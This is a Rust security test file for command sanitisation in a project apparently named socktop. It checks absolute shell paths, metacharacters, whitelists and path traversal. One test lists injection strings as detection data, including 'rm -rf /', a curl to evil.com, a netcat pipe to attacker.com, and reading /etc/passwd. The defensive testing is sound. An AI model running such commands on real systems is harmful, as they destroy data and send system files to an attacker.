495 lines
14 KiB
Rust
495 lines
14 KiB
Rust
|
|
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||
|
|
// All rights reserved.
|
||
|
|
//
|
||
|
|
// Security tests for command sanitization and validation
|
||
|
|
|
||
|
|
use std::path::Path;
|
||
|
|
use std::process::Command;
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Command Path Validation Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_path_must_be_absolute() {
|
||
|
|
// Commands should use absolute paths to avoid PATH manipulation attacks
|
||
|
|
let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||
|
|
|
||
|
|
for cmd in safe_commands {
|
||
|
|
assert!(
|
||
|
|
cmd.starts_with('/'),
|
||
|
|
"Command '{}' should be an absolute path",
|
||
|
|
cmd
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_path_no_relative_components() {
|
||
|
|
// Commands should not contain relative path components like ../ or ./
|
||
|
|
let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||
|
|
|
||
|
|
for cmd in commands {
|
||
|
|
assert!(
|
||
|
|
!cmd.contains(".."),
|
||
|
|
"Command '{}' should not contain '..' (path traversal)",
|
||
|
|
cmd
|
||
|
|
);
|
||
|
|
assert!(
|
||
|
|
!cmd.starts_with("./"),
|
||
|
|
"Command '{}' should not start with './' (relative path)",
|
||
|
|
cmd
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_reject_shell_injection_attempts() {
|
||
|
|
// These strings should never be allowed in command paths
|
||
|
|
let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"];
|
||
|
|
|
||
|
|
let safe_command = "/bin/sh";
|
||
|
|
|
||
|
|
for pattern in dangerous_patterns {
|
||
|
|
assert!(
|
||
|
|
!safe_command.contains(pattern),
|
||
|
|
"Command should not contain shell metacharacter '{}'",
|
||
|
|
pattern
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_no_spaces() {
|
||
|
|
// Command paths should not contain spaces (use absolute paths only)
|
||
|
|
let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||
|
|
|
||
|
|
for cmd in safe_commands {
|
||
|
|
assert!(
|
||
|
|
!cmd.contains(' '),
|
||
|
|
"Command path '{}' should not contain spaces",
|
||
|
|
cmd
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_path_canonical() {
|
||
|
|
// Command paths should be canonical (no double slashes, etc.)
|
||
|
|
let commands = vec!["/bin/sh", "/usr/bin/bash"];
|
||
|
|
|
||
|
|
for cmd in commands {
|
||
|
|
assert!(
|
||
|
|
!cmd.contains("//"),
|
||
|
|
"Command '{}' should not contain double slashes",
|
||
|
|
cmd
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Environment Variable Security Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_term_env_var_sanitized() {
|
||
|
|
// TERM variable should be a safe, known value
|
||
|
|
let term_value = "xterm";
|
||
|
|
|
||
|
|
// Should not contain shell metacharacters
|
||
|
|
assert!(!term_value.contains(';'));
|
||
|
|
assert!(!term_value.contains('&'));
|
||
|
|
assert!(!term_value.contains('|'));
|
||
|
|
assert!(!term_value.contains('`'));
|
||
|
|
assert!(!term_value.contains('$'));
|
||
|
|
assert!(!term_value.contains('\n'));
|
||
|
|
assert!(!term_value.contains('\r'));
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_env_var_no_null_bytes() {
|
||
|
|
// Environment variables should not contain null bytes
|
||
|
|
let term_value = "xterm";
|
||
|
|
assert!(
|
||
|
|
!term_value.contains('\0'),
|
||
|
|
"TERM variable should not contain null bytes"
|
||
|
|
);
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_safe_term_values() {
|
||
|
|
// Only allow known-safe TERM values
|
||
|
|
let safe_terms = vec![
|
||
|
|
"xterm",
|
||
|
|
"xterm-256color",
|
||
|
|
"screen",
|
||
|
|
"screen-256color",
|
||
|
|
"vt100",
|
||
|
|
"vt220",
|
||
|
|
"linux",
|
||
|
|
"alacritty",
|
||
|
|
];
|
||
|
|
|
||
|
|
for term in safe_terms {
|
||
|
|
// Verify they are alphanumeric with hyphens only
|
||
|
|
assert!(
|
||
|
|
term.chars().all(|c| c.is_alphanumeric() || c == '-'),
|
||
|
|
"TERM value '{}' should only contain alphanumeric and hyphens",
|
||
|
|
term
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Command Arguments Security Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_builder_no_shell_expansion() {
|
||
|
|
// Using Command::new prevents shell expansion
|
||
|
|
let cmd = "/bin/sh";
|
||
|
|
let command = Command::new(cmd);
|
||
|
|
|
||
|
|
// Command::new does not invoke a shell, so these would be literal arguments
|
||
|
|
// This is the safe way to spawn processes
|
||
|
|
let program = command.get_program();
|
||
|
|
assert_eq!(program, cmd);
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_no_shell_command_string_execution() {
|
||
|
|
// We should never use sh -c "command string" pattern
|
||
|
|
// This test documents that we use Command::new, not shell strings
|
||
|
|
|
||
|
|
let safe_command = "/bin/sh";
|
||
|
|
|
||
|
|
// Verify we're not constructing shell command strings
|
||
|
|
assert!(!safe_command.contains(" -c "));
|
||
|
|
assert!(!safe_command.contains(" -e "));
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_reject_command_injection_patterns() {
|
||
|
|
// These patterns indicate command injection attempts
|
||
|
|
let injection_attempts = vec![
|
||
|
|
"/bin/sh; rm -rf /",
|
||
|
|
"/bin/bash && curl evil.com",
|
||
|
|
"/bin/sh | nc attacker.com 1234",
|
||
|
|
"/bin/bash `whoami`",
|
||
|
|
"/bin/sh $(cat /etc/passwd)",
|
||
|
|
];
|
||
|
|
|
||
|
|
for attempt in injection_attempts {
|
||
|
|
// Any of these characters indicate shell injection
|
||
|
|
let has_injection = attempt.contains(';')
|
||
|
|
|| attempt.contains('&')
|
||
|
|
|| attempt.contains('|')
|
||
|
|
|| attempt.contains('`')
|
||
|
|
|| attempt.contains("$(");
|
||
|
|
|
||
|
|
assert!(
|
||
|
|
has_injection,
|
||
|
|
"Should detect injection attempt in: {}",
|
||
|
|
attempt
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Path Traversal Prevention Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_no_path_traversal_in_command() {
|
||
|
|
// Commands should not allow path traversal
|
||
|
|
let path_traversal_attempts = vec![
|
||
|
|
"../../../bin/sh",
|
||
|
|
"/bin/../../../etc/passwd",
|
||
|
|
"./evil.sh",
|
||
|
|
"~/malicious.sh",
|
||
|
|
];
|
||
|
|
|
||
|
|
for attempt in path_traversal_attempts {
|
||
|
|
assert!(
|
||
|
|
attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'),
|
||
|
|
"Path traversal attempt: {}",
|
||
|
|
attempt
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_safe_command_paths_exist() {
|
||
|
|
// Common safe shell paths that should exist on most systems
|
||
|
|
let common_shells = vec!["/bin/sh"];
|
||
|
|
|
||
|
|
for shell in common_shells {
|
||
|
|
if Path::new(shell).exists() {
|
||
|
|
// Verify it's an absolute path
|
||
|
|
assert!(shell.starts_with('/'), "Shell path should be absolute");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Input Size Limits Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_path_reasonable_length() {
|
||
|
|
// Command paths should have reasonable length limits
|
||
|
|
let max_path_length = 4096; // Common PATH_MAX on Linux
|
||
|
|
let command = "/bin/sh";
|
||
|
|
|
||
|
|
assert!(
|
||
|
|
command.len() < max_path_length,
|
||
|
|
"Command path should be less than {} bytes",
|
||
|
|
max_path_length
|
||
|
|
);
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_reject_excessively_long_paths() {
|
||
|
|
let excessive_path = "/".to_string() + &"a".repeat(10000);
|
||
|
|
|
||
|
|
assert!(
|
||
|
|
excessive_path.len() > 4096,
|
||
|
|
"Test path should exceed reasonable limits"
|
||
|
|
);
|
||
|
|
// In real code, we should reject paths this long
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Whitelist Validation Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_allowed_shells_whitelist() {
|
||
|
|
// Define a whitelist of allowed shells
|
||
|
|
let allowed_shells = vec![
|
||
|
|
"/bin/sh",
|
||
|
|
"/bin/bash",
|
||
|
|
"/bin/zsh",
|
||
|
|
"/usr/bin/bash",
|
||
|
|
"/usr/bin/zsh",
|
||
|
|
"/bin/dash",
|
||
|
|
];
|
||
|
|
|
||
|
|
// All allowed shells should be absolute paths
|
||
|
|
for shell in &allowed_shells {
|
||
|
|
assert!(
|
||
|
|
shell.starts_with('/'),
|
||
|
|
"Whitelisted shell '{}' must be absolute path",
|
||
|
|
shell
|
||
|
|
);
|
||
|
|
}
|
||
|
|
|
||
|
|
// All allowed shells should not contain dangerous characters
|
||
|
|
for shell in &allowed_shells {
|
||
|
|
assert!(
|
||
|
|
!shell.contains(';'),
|
||
|
|
"Whitelisted shell '{}' should not contain ';'",
|
||
|
|
shell
|
||
|
|
);
|
||
|
|
assert!(
|
||
|
|
!shell.contains('&'),
|
||
|
|
"Whitelisted shell '{}' should not contain '&'",
|
||
|
|
shell
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_validate_command_against_whitelist() {
|
||
|
|
let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||
|
|
|
||
|
|
let test_command = "/bin/sh";
|
||
|
|
assert!(
|
||
|
|
allowed_shells.contains(&test_command),
|
||
|
|
"Command should be in whitelist"
|
||
|
|
);
|
||
|
|
|
||
|
|
let dangerous_command = "/tmp/malicious.sh";
|
||
|
|
assert!(
|
||
|
|
!allowed_shells.contains(&dangerous_command),
|
||
|
|
"Dangerous command should not be in whitelist"
|
||
|
|
);
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Null Byte Injection Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_no_null_bytes_in_command() {
|
||
|
|
// Null bytes can truncate commands in some contexts
|
||
|
|
let safe_command = "/bin/sh";
|
||
|
|
|
||
|
|
assert!(
|
||
|
|
!safe_command.contains('\0'),
|
||
|
|
"Command should not contain null bytes"
|
||
|
|
);
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_detect_null_byte_injection() {
|
||
|
|
// Test that we can detect null byte injection attempts
|
||
|
|
let injection = "/bin/sh\0malicious";
|
||
|
|
|
||
|
|
assert!(
|
||
|
|
injection.contains('\0'),
|
||
|
|
"Should detect null byte in command"
|
||
|
|
);
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// File Descriptor Security Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_no_file_descriptor_redirection_in_command() {
|
||
|
|
// Commands should not contain file descriptor redirections
|
||
|
|
let command = "/bin/sh";
|
||
|
|
|
||
|
|
assert!(!command.contains('>'), "No output redirection");
|
||
|
|
assert!(!command.contains('<'), "No input redirection");
|
||
|
|
assert!(!command.contains("2>&1"), "No stderr redirection");
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Unicode and Special Character Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_ascii_only() {
|
||
|
|
// Command paths should be ASCII to avoid Unicode tricks
|
||
|
|
let safe_command = "/bin/sh";
|
||
|
|
|
||
|
|
assert!(safe_command.is_ascii(), "Command path should be ASCII only");
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_no_control_characters_in_command() {
|
||
|
|
// Commands should not contain control characters
|
||
|
|
let safe_command = "/bin/sh";
|
||
|
|
|
||
|
|
for ch in safe_command.chars() {
|
||
|
|
assert!(
|
||
|
|
!ch.is_control() || ch == '\n' || ch == '\t',
|
||
|
|
"Command should not contain control character: {:?}",
|
||
|
|
ch
|
||
|
|
);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Symlink and Special File Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_not_in_tmp() {
|
||
|
|
// Commands should not be executed from /tmp (common malware location)
|
||
|
|
let command = "/bin/sh";
|
||
|
|
|
||
|
|
assert!(
|
||
|
|
!command.starts_with("/tmp/"),
|
||
|
|
"Should not execute commands from /tmp"
|
||
|
|
);
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_not_in_user_writable_dirs() {
|
||
|
|
// Commands should not be in user-writable directories
|
||
|
|
let command = "/bin/sh";
|
||
|
|
|
||
|
|
let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"];
|
||
|
|
|
||
|
|
for dir in user_writable {
|
||
|
|
if command.starts_with(dir) {
|
||
|
|
panic!("Command should not be in user-writable directory: {}", dir);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Logging and Audit Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_execution_should_be_logged() {
|
||
|
|
// This test documents that command execution should be logged
|
||
|
|
// In the actual code, log::info! is used when spawning processes
|
||
|
|
let command = "/bin/sh";
|
||
|
|
|
||
|
|
// Verify command is loggable (no sensitive data, reasonable length)
|
||
|
|
assert!(
|
||
|
|
command.len() < 1024,
|
||
|
|
"Command should be short enough to log"
|
||
|
|
);
|
||
|
|
assert!(command.is_ascii(), "Command should be safely loggable");
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Integration with Command::new() Tests
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_new_prevents_shell_expansion() {
|
||
|
|
// Document that Command::new does not invoke a shell
|
||
|
|
let cmd = Command::new("/bin/sh");
|
||
|
|
|
||
|
|
// Command::new takes a literal program path, no shell interpretation
|
||
|
|
assert_eq!(cmd.get_program(), "/bin/sh");
|
||
|
|
}
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_args_separate_from_program() {
|
||
|
|
// Arguments should be passed separately, not in the program string
|
||
|
|
let mut cmd = Command::new("/bin/sh");
|
||
|
|
cmd.arg("-c");
|
||
|
|
cmd.arg("echo hello");
|
||
|
|
|
||
|
|
// This is safe because args are not shell-interpreted
|
||
|
|
assert_eq!(cmd.get_program(), "/bin/sh");
|
||
|
|
}
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Summary Test: Complete Security Checklist
|
||
|
|
// ============================================================================
|
||
|
|
|
||
|
|
#[test]
|
||
|
|
fn test_command_security_checklist() {
|
||
|
|
let command = "/bin/sh";
|
||
|
|
|
||
|
|
// 1. Absolute path
|
||
|
|
assert!(command.starts_with('/'), "Must be absolute path");
|
||
|
|
|
||
|
|
// 2. No path traversal
|
||
|
|
assert!(!command.contains(".."), "No path traversal");
|
||
|
|
|
||
|
|
// 3. No shell metacharacters
|
||
|
|
assert!(!command.contains(';'), "No semicolons");
|
||
|
|
assert!(!command.contains('&'), "No ampersands");
|
||
|
|
assert!(!command.contains('|'), "No pipes");
|
||
|
|
assert!(!command.contains('`'), "No backticks");
|
||
|
|
assert!(!command.contains('$'), "No variable expansion");
|
||
|
|
|
||
|
|
// 4. No null bytes
|
||
|
|
assert!(!command.contains('\0'), "No null bytes");
|
||
|
|
|
||
|
|
// 5. ASCII only
|
||
|
|
assert!(command.is_ascii(), "ASCII only");
|
||
|
|
|
||
|
|
// 6. Reasonable length
|
||
|
|
assert!(command.len() < 256, "Reasonable length");
|
||
|
|
|
||
|
|
// 7. Not in user-writable directory
|
||
|
|
assert!(!command.starts_with("/tmp/"), "Not in /tmp");
|
||
|
|
assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp");
|
||
|
|
|
||
|
|
// 8. No spaces (absolute path only)
|
||
|
|
assert!(!command.contains(' '), "No spaces in path");
|
||
|
|
|
||
|
|
println!("✓ Command '{}' passed all security checks", command);
|
||
|
|
}
|